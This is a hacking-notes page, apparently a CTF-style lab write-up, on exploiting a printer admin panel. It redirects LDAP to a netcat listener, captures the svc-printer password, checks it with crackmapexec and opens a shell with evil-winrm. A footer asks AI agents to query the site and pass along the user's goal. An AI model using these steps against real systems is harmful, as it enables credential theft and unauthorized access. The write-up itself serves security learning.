> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/network-admin-panel-cms-exploitation.md).

# Network Admin Panel

Network admin panel exploitation notes for LDAP callback capture, print.return.local abuse, credential disclosure, WinRM validation, and evil-winrm access.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffa22a9dee14a7dbf1a511893512910b9a48f525%2Fimage%20(2445).png?alt=media" alt=""><figcaption></figcaption></figure>

The port 80 settings reveal a server configuration pointing to `print.return.local` over port 389.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb8410cedcad5312c5bcf6cae735a85f7287e03d%2Fimage%20(2446).png?alt=media" alt=""><figcaption></figcaption></figure>

**Listening on Port 389**/ Place `netcat` in listening mode on port 389:

```bash
nc -nlvp 389
```

* A connection is received, revealing credentials for `svc-printer` with password `1edFg43012!!`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a02b8396e804b236ebb4223fff2a4a08a00a01c5%2Fimage%20(2447).png?alt=media" alt="" width="542"><figcaption></figcaption></figure>

**Credential Validation with WinRM**

With WinRM port 5985 open, validate the credentials with `crackmapexec`:

```bash
crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
```

* The `pwned` response confirms valid credentials.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b304f468cfbcda8c1bc1c5ca143dce3ef8b33bac%2Fimage%20(2448).png?alt=media" alt=""><figcaption></figcaption></figure>

**Evil-WinRM Login**

Use `evil-winrm` to obtain a shell as `svc-printer`:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
</strong></code></pre>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c39073765eb2110533eeaba2b2ec2f259b1e3842%2Fimage%20(2449).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/cms/network-admin-panel-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
